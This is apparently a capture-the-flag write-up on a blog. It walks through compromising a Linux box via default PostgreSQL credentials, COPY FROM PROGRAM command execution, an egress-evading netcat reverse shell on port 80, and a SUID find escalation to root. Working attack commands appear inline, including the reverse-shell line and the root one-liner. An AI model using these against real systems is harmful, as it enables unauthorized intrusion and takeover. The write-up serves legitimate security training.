gp_sec
Back to all CTFs

Nibbles: PostgreSQL default creds, then a SUID find to root

This Linux box had a lot of ports open, and most of them were dead ends. FTP wouldn't brute-force, SMB had no anonymous access, the web app led nowhere. The way in was an unusual PostgreSQL port that everyone almost skips. Default credentials got me into the database as a superuser, that turned into command execution, and a single misconfigured binary finished it off as root. A good lesson in checking every port, even the boring-looking one.

The port everyone would skip

After ruling out the obvious services, the one left was PostgreSQL running on a non-standard port (5437). A database exposed to the network is always worth a close look. The default PostgreSQL account is postgres, and I tried the equally default password postgres. It logged straight in, and the account was a superuser. That's the whole foothold: a database admin login handed over for free.

Database login to command execution

A superuser in PostgreSQL isn't just "can read tables", it can run operating system commands. There's a well-known technique (CVE-2019-9193) that abuses the legitimate COPY ... FROM PROGRAM feature: it's meant to read the output of a program into a table, but that means it runs the program. So you can pipe any command through it and read the result back.

COPY tmp FROM PROGRAM 'whoami';   -- runs whoami as the db user

That confirmed code execution as the postgres user. Next step, a real shell.

A shell, but only on port 80

My reverse shell on the usual high port didn't connect. That's a firewall talking: the box only lets certain ports back out. Since the web app on the box has to talk to this database, port 80 was almost certainly allowed through, so I pointed my reverse shell at port 80 and it came back immediately.

COPY tmp FROM PROGRAM 'nc -c sh <me> 80';

That gave me an interactive shell as postgres. Worth remembering: when a shell won't connect, it's usually not your payload, it's the firewall, and the ports the box itself needs (80, 443) are the ones most likely open outbound.

SUID find to root

As the postgres user I ran linpeas to enumerate for privilege escalation, and it flagged something in the SUID section: /usr/bin/find had the SUID bit set. SUID means the binary runs as its owner (root) no matter who launches it. If a program that powerful can also run other commands, it's game over.

find can run commands with its -exec flag, and GTFOBins has the exact one-liner. The -p on the shell keeps the elevated privileges instead of dropping them:

find . -exec /bin/sh -p \; -quit

That dropped me into a shell with an effective UID of 0, root. Done.

The chain, in one line

Default postgres:postgres logs in as a DB superuser, COPY FROM PROGRAM turns that into command execution, a port-80 reverse shell gets past the firewall, and a SUID find binary hands over root.

What I took from it

Two habits. First, check every open port, especially the one on a weird number that isn't a normal web or file service. The whole box hinged on a database listening where you might not look, protected by a password nobody changed. Second, when a reverse shell won't call home, stop blaming the payload and think about egress filtering, then reach for the ports the box itself has to use. And SUID binaries are always worth checking on Linux; GTFOBins turns "this binary has the SUID bit" straight into a root shell.

Back to all CTFs